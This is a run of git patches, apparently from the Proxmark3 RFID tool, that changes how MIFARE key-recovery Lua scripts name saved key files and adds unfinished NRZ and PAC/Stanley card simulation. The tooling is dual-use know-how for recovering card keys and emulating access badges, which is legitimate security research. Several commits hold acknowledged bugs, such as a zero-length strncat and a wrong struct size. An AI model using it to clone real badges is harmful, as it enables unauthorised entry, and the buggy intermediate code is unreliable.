client/util.c | 12 ++++++------ client/util.h | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/client/util.c b/client/util.c index 856091231..e07fe5d21 100644 --- a/client/util.c +++ b/client/util.c @@ -918,13 +918,13 @@ void strcreplace(char *buf, size_t len, char from, char to) { } } -char *strmcopy(const char *buf) { - char *str = (char *) calloc(strlen(buf) + 1, sizeof(uint8_t)); - if (str != NULL) { - memset(str, 0, strlen(buf) + 1); - strcpy(str, buf); +char *strmcopy(const char *src) { + char *dest = (char *) calloc(strlen(src) + 1, sizeof(uint8_t)); + if (dest != NULL) { + memset(dest, 0, strlen(src) + 1); + strncat(dest, src, strlen(src)); } - return str; + return dest; } /** diff --git a/client/util.h b/client/util.h index afa12811b..043f08e5d 100644 --- a/client/util.h +++ b/client/util.h @@ -99,6 +99,6 @@ bool str_endswith(const char *s, const char *suffix); // check for suffix in void clean_ascii(unsigned char *buf, size_t len); void strcleanrn(char *buf, size_t len); void strcreplace(char *buf, size_t len, char from, char to); -char *strmcopy(const char *buf); +char *strmcopy(const char *src); int hexstring_to_u96(uint32_t *hi2, uint32_t *hi, uint32_t *lo, const char *str); #endif From e612ae3de4275e675fc4a2591769c375d6b4fc82 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 16:57:15 +0100 Subject: [PATCH 249/418] chg: adapting luascript to use new filename template for key files. --- client/luascripts/calc_di.lua | 9 ++++++--- client/luascripts/calc_mizip.lua | 7 ++++--- client/luascripts/mfckeys.lua | 11 ++++++----- client/luascripts/mifare_autopwn.lua | 4 ++-- client/luascripts/tnp3dump.lua | 20 ++++++++++++-------- 5 files changed, 30 insertions(+), 21 deletions(-) diff --git a/client/luascripts/calc_di.lua b/client/luascripts/calc_di.lua index 7b8c304db..416a3dd0f 100644 --- a/client/luascripts/calc_di.lua +++ b/client/luascripts/calc_di.lua @@ -71,11 +71,14 @@ local function exitMsg(msg) end --- -- dumps all keys to file -local function dumptofile(keys) +local function dumptofile(uid, keys) dbg('dumping keys to file') if utils.confirm('Do you wish to save the keys to dumpfile?') then - local destination = utils.input('Select a filename to store to', 'dumpkeys.bin') + + local filename = ('hf-mf-%s-key.bin'):format(uid); + + local destination = utils.input('Select a filename to store to', filename) local file = io.open(destination, 'wb') if file == nil then print('Could not write to file ', destination) @@ -172,7 +175,7 @@ local function main(args) local keys, err = createKeys( uid ) printKeys( keys ) - dumptofile( keys ) + dumptofile( uid, keys ) end main(args) diff --git a/client/luascripts/calc_mizip.lua b/client/luascripts/calc_mizip.lua index f0c76bc57..bff493131 100644 --- a/client/luascripts/calc_mizip.lua +++ b/client/luascripts/calc_mizip.lua @@ -76,11 +76,12 @@ local function exitMsg(msg) end -- -- dumps all keys to file -local function dumptofile(keys) +local function dumptofile(uid, keys) dbg('dumping keys to file') if utils.confirm('Do you wish to save the keys to dumpfile?') then - local destination = utils.input('Select a filename to store to', 'dumpkeys.bin') + local filename = ('hf-mf-%s-key.bin'):format(uid); + local destination = utils.input('Select a filename to store to', filename) local file = io.open(destination, 'wb') if file == nil then print('Could not write to file ', destination) @@ -194,7 +195,7 @@ local function main(args) local keys, err = createKeys( uid ) printKeys( keys ) - dumptofile( keys ) + dumptofile( uid, keys ) end main(args) diff --git a/client/luascripts/mfckeys.lua b/client/luascripts/mfckeys.lua index 128967c37..32808b62d 100644 --- a/client/luascripts/mfckeys.lua +++ b/client/luascripts/mfckeys.lua @@ -159,9 +159,10 @@ end end -- -- dumps all keys to file -local function dumptofile(keys) +local function dumptofile(uid, keys) if utils.confirm('Do you wish to save the keys to dumpfile?') then - local destination = utils.input('Select a filename to store to', 'dumpkeys.bin') + local filename = ('hf-mf-%s-key.bin'):format(uid); + local destination = utils.input('Select a filename to store to', filename) local file = io.open(destination, 'wb') if file == nil then print('Could not write to file ', destination) @@ -192,7 +193,7 @@ local function printkeys() end --- -- -local function perform_check(numsectors) +local function perform_check(uid, numsectors) local keyType = 0 -- A=0, B=1 @@ -237,7 +238,7 @@ local function perform_check(numsectors) display_results(keys) -- save to dumpkeys.bin - dumptofile(keys) + dumptofile(uid, keys) end -- -- shows tag information @@ -282,7 +283,7 @@ local function main(args) -- detect sectors and print taginfo numsectors = taginfo(tag) - perform_check(numsectors) + perform_check(tag.uid, numsectors) end main( args) diff --git a/client/luascripts/mifare_autopwn.lua b/client/luascripts/mifare_autopwn.lua index 2c9146e2b..624cea419 100644 --- a/client/luascripts/mifare_autopwn.lua +++ b/client/luascripts/mifare_autopwn.lua @@ -97,7 +97,7 @@ local function nested(key,sak) core.console(cmd) end -local function dump(uid, numsectors) +local function dump_tag(uid, numsectors) dbg('dumping tag memory') local typ = 1 @@ -203,7 +203,7 @@ local function main(args) -- Use nested attack nested(key, sak) -- Dump info - dump(uid, sak) + dump_tag(uid, sak) if #key == 12 then _exit = true end else diff --git a/client/luascripts/tnp3dump.lua b/client/luascripts/tnp3dump.lua index 488d2f5f9..9a7a9bc8f 100644 --- a/client/luascripts/tnp3dump.lua +++ b/client/luascripts/tnp3dump.lua @@ -109,7 +109,6 @@ local function main(args) local useNested = false local usePreCalc = false local cmdReadBlockString = 'hf mf rdbl %d A %s' - local input = "dumpkeys.bin" local outputTemplate = os.date("toydump_%Y-%m-%d_%H%M%S"); -- Arguments for the script @@ -132,13 +131,13 @@ local function main(args) core.console( cmdSetDbgOff) utils.Sleep(0.5) - result, err = lib14a.read(false, true) - if not result then return oops(err) end + tag, err = lib14a.read(false, true) + if not tag then return oops(err) end core.clearCommandBuffer() -- Show tag info - print((' Found tag %s'):format(result.name)) + print((' Found tag %s'):format(tag.name)) dbg(('Using keyA : %s'):format(keyA)) @@ -152,13 +151,18 @@ local function main(args) local akeys = '' if usePreCalc then local pre = require('precalc') - akeys = pre.GetAll(result.uid) + akeys = pre.GetAll(tag.uid) dbg(akeys) else - print('Loading dumpkeys.bin') - local hex, err = utils.ReadDumpFile(input) + local filename = ('hf-mf-%s-key.bin'):format(tag.uid); + print('loading '..filename) + local hex, err = utils.ReadDumpFile(filename) if not hex then - return oops(err) + print('loading dumpkeys.bin') + hex, err = utils.ReadDumpFile('dumpkeys.bin') + if not hex then + return oops(err) + end end akeys = hex:sub(0,12*16) end From eec1a93b41b8ddf398f0833160fb5f0ec7e9b64c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 18:47:52 +0100 Subject: [PATCH 250/418] fix appveyor --- client/util.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/util.c b/client/util.c index e07fe5d21..924f91ee8 100644 --- a/client/util.c +++ b/client/util.c @@ -922,7 +922,7 @@ char *strmcopy(const char *src) { char *dest = (char *) calloc(strlen(src) + 1, sizeof(uint8_t)); if (dest != NULL) { memset(dest, 0, strlen(src) + 1); - strncat(dest, src, strlen(src)); + strncat(dest, src, strlen(dest)); } return dest; } From eb2130af4b2c908e3915e01d651f2b3ca86715e9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 19:59:36 +0100 Subject: [PATCH 251/418] chg: swapped banner placement\nchg: console -c prompt got [con]. --- client/proxmark3.c | 10 +++++----- client/proxmark3.h | 2 +- client/util.c | 6 +++--- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/client/proxmark3.c b/client/proxmark3.c index 7beb5196c..5d0b47fb3 100644 --- a/client/proxmark3.c +++ b/client/proxmark3.c @@ -150,7 +150,7 @@ main_loop(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) { // loops every time enter is pressed... while (1) { bool printprompt = false; - const char *prompt = PROXPROMPT; + const char *prompt = PROXPROMPT_CON; check_script: // If there is a script file @@ -765,10 +765,6 @@ int main(int argc, char *argv[]) { if (session.stdinOnTTY && session.stdoutOnTTY) session.supports_colors = true; #endif - // ascii art only in interactive client - if (!script_cmds_file && !script_cmd && session.stdinOnTTY && session.stdoutOnTTY && !flash_mode) - showBanner(); - // Let's take a baudrate ok for real UART, USB-CDC & BT don't use that info anyway if (speed == 0) speed = USART_BAUD_RATE; @@ -819,6 +815,10 @@ int main(int argc, char *argv[]) { if (!session.pm3_present) PrintAndLogEx(INFO, "Running in " _YELLOW_("OFFLINE") "mode. Check " _YELLOW_("\"%s -h\"") " if it's not what you want.\n", exec_name); + // ascii art only in interactive client + if (!script_cmds_file && !script_cmd && session.stdinOnTTY && session.stdoutOnTTY && !flash_mode) + showBanner(); + #ifdef HAVE_GUI # ifdef _WIN32 diff --git a/client/proxmark3.h b/client/proxmark3.h index 9313e4c28..d3e3629ec 100644 --- a/client/proxmark3.h +++ b/client/proxmark3.h @@ -14,7 +14,7 @@ #include "common.h" -#define PROXPROMPT "pm3 --> " +#define PROXPROMPT_CON "[con] pm3 --> " #define PROXPROMPT_USB "[usb] pm3 --> " #define PROXPROMPT_FPC "[fpc] pm3 --> " #define PROXPROMPT_OFFLINE "[offline] pm3 --> " diff --git a/client/util.c b/client/util.c index 924f91ee8..e5446313d 100644 --- a/client/util.c +++ b/client/util.c @@ -919,10 +919,10 @@ void strcreplace(char *buf, size_t len, char from, char to) { } char *strmcopy(const char *src) { - char *dest = (char *) calloc(strlen(src) + 1, sizeof(uint8_t)); + int len = strlen(src) + 1; + char *dest = (char *) calloc(len, sizeof(uint8_t)); if (dest != NULL) { - memset(dest, 0, strlen(src) + 1); - strncat(dest, src, strlen(dest)); + strncat(dest, src, len); } return dest; } From f304528fc0fe54ec45166a71112e560ee8fa18d9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 20:00:37 +0100 Subject: [PATCH 252/418] add: added nrz simulation for lf. *wip* needs pattern for nrz. --- armsrc/lfops.c | 51 ++++++++++++++++++++++++++++++++++++++++++++++- armsrc/lfops.h | 3 ++- include/pm3_cmd.h | 13 ++++++++++-- 3 files changed, 63 insertions(+), 4 deletions(-) diff --git a/armsrc/lfops.c b/armsrc/lfops.c index c4cd6eaa4..12cd82e43 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -1149,7 +1149,7 @@ static void pskSimBit(uint8_t waveLen, int *n, uint8_t clk, uint8_t *curPhase, b } // args clock, carrier, invert, -void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { +void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); set_tracing(false); @@ -1173,6 +1173,55 @@ void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, u reply_ng(CMD_LF_PSK_SIMULATE, PM3_EOPABORTED, NULL, 0); } +// compose nrz waveform for one bit(NRZ) +static void nrzSimBit(uint8_t c, int *n, uint8_t clock) { + uint8_t *dest = BigBuf_get_addr(); +// uint8_t halfClk = clock / 2; + // c = current bit 1 or 0 + memset(dest + (*n), c, clock); + *n += clock; +} + +// args clock, +void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol) { + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + set_tracing(false); + + int n = 0, i = 0; + + // NRZ + + leadingZeroAskSimBits(&n, clk); + + for (i = 0; i < size; i++) { + nrzSimBit(bits[i] ^ invert, &n, clk); + } + + if (bits[0] == bits[size - 1]) { //run a second set inverted (for ask/raw || biphase phase) + for (i = 0; i < size; i++) { + nrzSimBit(bits[i] ^ invert ^ 1, &n, clk); + } + } + + if (separator == 1) + Dbprintf("sorry but separator option not yet available"); + + WDT_HIT(); + + Dbprintf("Simulating with clk: %d, invert: %d, separator: %d, n: %d" + , clk + , invert + , separator + , n + ); + + if (ledcontrol) LED_A_ON(); + SimulateTagLowFrequency(n, 0, ledcontrol); + if (ledcontrol) LED_A_OFF(); + reply_ng(CMD_LF_NRZ_SIMULATE, PM3_EOPABORTED, NULL, 0); +} + // loop to get raw HID waveform then FSK demodulate the TAG ID from it void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { uint8_t *dest = BigBuf_get_addr(); diff --git a/armsrc/lfops.h b/armsrc/lfops.h index f81d1e7ab..b697cffd1 100644 --- a/armsrc/lfops.h +++ b/armsrc/lfops.h @@ -36,7 +36,8 @@ void CmdHIDsimTAG(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol, int numcycles); void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol); void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); -void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); +void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); +void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26 diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 64a0c5fd1..44747b1ea 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -239,6 +239,14 @@ typedef struct { uint8_t data[]; } PACKED lf_psksim_t; +// For CMD_LF_NRZ_SIMULATE (NRZ) +typedef struct { + uint8_t invert; + uint8_t separator; + uint8_t clock; + uint8_t data[]; +} PACKED lf_nrzsim_t; + typedef struct { uint8_t blockno; uint8_t keytype; @@ -371,12 +379,13 @@ typedef struct { #define CMD_LF_EM4X_READWORD 0x0218 #define CMD_LF_EM4X_WRITEWORD 0x0219 #define CMD_LF_IO_DEMOD 0x021A -#define CMD_LF_EM410X_DEMOD 0x021c +#define CMD_LF_EM410X_DEMOD 0x021C // Sampling configuration for LF reader/sniffer -#define CMD_LF_SAMPLING_SET_CONFIG 0x021d +#define CMD_LF_SAMPLING_SET_CONFIG 0x021D #define CMD_LF_FSK_SIMULATE 0x021E #define CMD_LF_ASK_SIMULATE 0x021F #define CMD_LF_PSK_SIMULATE 0x0220 +#define CMD_LF_NRZ_SIMULATE 0x0232 #define CMD_LF_AWID_DEMOD 0x0221 #define CMD_LF_VIKING_CLONE 0x0222 #define CMD_LF_T55XX_WAKEUP 0x0224 From a62aed9fe903696b153883e73f6c42fc59dfd453 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 20:01:06 +0100 Subject: [PATCH 253/418] add: added nrz simulation for lf. *wip* --- armsrc/appmain.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index a405db12e..20c26eb4d 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -775,7 +775,12 @@ static void PacketReceived(PacketCommandNG *packet) { } case CMD_LF_PSK_SIMULATE: { lf_psksim_t *payload = (lf_psksim_t *)packet->data.asBytes; - CmdPSKsimTag(payload->carrier, payload->invert, payload->clock, packet->length - sizeof(lf_psksim_t), payload->data, true); + CmdPSKsimTAG(payload->carrier, payload->invert, payload->clock, packet->length - sizeof(lf_psksim_t), payload->data, true); + break; + } + case CMD_LF_NRZ_SIMULATE: { + lf_nrzsim_t *payload = (lf_nrzsim_t *)packet->data.asBytes; + CmdNRZsimTAG(payload->invert, payload->separator, payload->clock, packet->length - sizeof(lf_asksim_t), payload->data, true); break; } case CMD_LF_HID_CLONE: { @@ -1598,6 +1603,8 @@ static void PacketReceived(PacketCommandNG *packet) { BigBuf_Clear_ext(false); BigBuf_free(); } + + // 40 000 - (512-3) 509 = 39491 uint16_t offset = MIN(BIGBUF_SIZE - PM3_CMD_DATA_SIZE - 3, payload->offset); // need to copy len bytes of data, not PM3_CMD_DATA_SIZE - 3 - offset @@ -1605,6 +1612,8 @@ static void PacketReceived(PacketCommandNG *packet) { uint16_t len = MIN(BIGBUF_SIZE - offset, PM3_CMD_DATA_SIZE - 3); uint8_t *mem = BigBuf_get_addr(); + + // x + 394 memcpy(mem + offset, &payload->data, len); // memcpy(mem + offset, &payload->data, PM3_CMD_DATA_SIZE - 3 - offset); reply_ng(CMD_LF_UPLOAD_SIM_SAMPLES, PM3_SUCCESS, NULL, 0); From 990cd3590a1d54df11d75cb6fbb22d003746d2e4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 20:01:33 +0100 Subject: [PATCH 254/418] add: lf pac sim *wip* --- client/cmdlfpac.c | 49 +++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 47 insertions(+), 2 deletions(-) diff --git a/client/cmdlfpac.c b/client/cmdlfpac.c index 00d4d4ae6..92a7f18ea 100644 --- a/client/cmdlfpac.c +++ b/client/cmdlfpac.c @@ -10,6 +10,8 @@ #include "cmdlfpac.h" #include //tolower +#include +#include #include "commonutil.h" // ARRAYLEN #include "common.h" @@ -39,7 +41,19 @@ static int usage_lf_pac_clone(void) { PrintAndLogEx(NORMAL, " lf pac clone b FF2049906D8511C593155B56D5B2649F "); return PM3_SUCCESS; } - +static int usage_lf_pac_sim(void) { + PrintAndLogEx(NORMAL, "Enables simulation of PAC/Stanley card with specified card number."); + PrintAndLogEx(NORMAL, "Simulation runs until the button is pressed or another USB command is issued."); + PrintAndLogEx(NORMAL, "The card ID is 8 byte number. Larger values are truncated."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: lf pac sim "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " : 8 byte PAC/Stanley card id"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " lf pac sim 1A337"); + return PM3_SUCCESS; +} // by danshuk // PAC_8byte format: preamble (8 mark/idle bits), ascii STX (02), ascii '2' (32), ascii '0' (30), ascii bytes 0..7 (cardid), then xor checksum of cardid bytes // all bytes following 8 bit preamble are one start bit (0), 7 data bits (lsb first), odd parity bit, and one stop bit (1) @@ -231,7 +245,38 @@ static int CmdPacClone(const char *Cmd) { static int CmdPacSim(const char *Cmd) { // NRZ sim. - PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); + uint32_t id = 0; + uint64_t rawID = 0; + char cmdp = tolower(param_getchar(Cmd, 0)); + if (strlen(Cmd) == 0 || cmdp == 'h') return usage_lf_pac_sim(); + + id = param_get32ex(Cmd, 0, 0, 16); + if (id == 0) return usage_lf_pac_sim(); + + //rawID = pacCardIdToRaw(id); + + PrintAndLogEx(SUCCESS, "Simulating PAC/Stanley - ID " _YELLOW_("%08X")" raw "_YELLOW_("%08X%08X"), id, (uint32_t)(rawID >> 32), (uint32_t)(rawID & 0xFFFFFFFF)); + + uint8_t bs[128]; + num_to_bytebits(rawID, sizeof(bs), bs); + + lf_nrzsim_t *payload = calloc(1, sizeof(lf_nrzsim_t) + sizeof(bs)); + payload->invert = 0; + payload->separator = 0; + payload->clock = 32; + memcpy(payload->data, bs, sizeof(bs)); + + clearCommandBuffer(); + SendCommandNG(CMD_LF_NRZ_SIMULATE, (uint8_t *)payload, sizeof(lf_nrzsim_t) + sizeof(bs)); + free(payload); + + PacketResponseNG resp; + WaitForResponse(CMD_LF_NRZ_SIMULATE, &resp); + + PrintAndLogEx(INFO, "Done"); + if (resp.status != PM3_EOPABORTED) + return resp.status; + return PM3_SUCCESS; } From 731f6fc3223613900fca653c897653faa76e2991 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 20:21:10 +0100 Subject: [PATCH 255/418] textual --- client/cmddata.c | 116 ++++++++++++++++++++++++++--------------------- 1 file changed, 65 insertions(+), 51 deletions(-) diff --git a/client/cmddata.c b/client/cmddata.c index a9b38b105..0469bf837 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -100,19 +100,26 @@ static int usage_data_biphaserawdecode(void) { } static int usage_data_rawdemod(void) { PrintAndLogEx(NORMAL, "Usage: data rawdemod [modulation] |"); - PrintAndLogEx(NORMAL, " [modulation] as 2 char, 'ab' for ask/biphase, 'am' for ask/manchester, 'ar' for ask/raw, 'fs' for fsk, ..."); - PrintAndLogEx(NORMAL, " 'nr' for nrz/direct, 'p1' for psk1, 'p2' for psk2"); + PrintAndLogEx(NORMAL, " [modulation] as 2 char,"); + PrintAndLogEx(NORMAL, " "_YELLOW_("ab")"- ask/biphase"); + PrintAndLogEx(NORMAL, " "_YELLOW_("am")"- ask/manchester"); + PrintAndLogEx(NORMAL, " "_YELLOW_("ar")"- ask/raw"); + PrintAndLogEx(NORMAL, " "_YELLOW_("fs")"- fsk"); + PrintAndLogEx(NORMAL, " "_YELLOW_("nr")"- nrz/direct"); + PrintAndLogEx(NORMAL, " "_YELLOW_("p1")"- psk1"); + PrintAndLogEx(NORMAL, " "_YELLOW_("p2")"- psk2"); PrintAndLogEx(NORMAL, " as 'h', prints the help for the specific modulation"); PrintAndLogEx(NORMAL, " see specific modulation help for optional parameters"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod fs h = print help specific to fsk demod"); - PrintAndLogEx(NORMAL, " : data rawdemod fs = demod GraphBuffer using: fsk - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod fs h = print help specific to fsk demod"); + PrintAndLogEx(NORMAL, " data rawdemod fs = demod GraphBuffer using: fsk - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect"); + PrintAndLogEx(NORMAL, " data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect"); return PM3_SUCCESS; } static int usage_data_rawdemod_am(void) { @@ -124,11 +131,12 @@ static int usage_data_rawdemod_am(void) { PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (512 bits at rf/64)"); PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod am = demod an ask/manchester tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod am = demod an ask/manchester tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); return PM3_SUCCESS; } static int usage_data_rawdemod_ab(void) { @@ -145,13 +153,14 @@ static int usage_data_rawdemod_ab(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " NOTE: --invert for Conditional Dephase Encoding (CDP) AKA Differential Manchester"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod ab = demod an ask/biph tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); - PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod ab = demod an ask/biph tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified"); + PrintAndLogEx(NORMAL, " data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, " data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); return PM3_SUCCESS; } static int usage_data_rawdemod_ar(void) { @@ -162,13 +171,14 @@ static int usage_data_rawdemod_ar(void) { PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (1024 bits at rf/64)"); PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod ar = demod an ask tag from GraphBuffer"); - PrintAndLogEx(NORMAL, " : data rawdemod ar a = demod an ask tag from GraphBuffer, amplified"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); - PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " data rawdemod ar = demod an ask tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " data rawdemod ar a = demod an ask tag from GraphBuffer, amplified"); + PrintAndLogEx(NORMAL, " data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, " data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); return PM3_SUCCESS; } static int usage_data_rawdemod_fs(void) { @@ -178,13 +188,14 @@ static int usage_data_rawdemod_fs(void) { PrintAndLogEx(NORMAL, " [fchigh], larger field clock length, omit for autodetect"); PrintAndLogEx(NORMAL, " [fclow], small field clock length, omit for autodetect"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " Example: data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output"); - PrintAndLogEx(NORMAL, " : data rawdemod fs 32 1 = demod an fsk 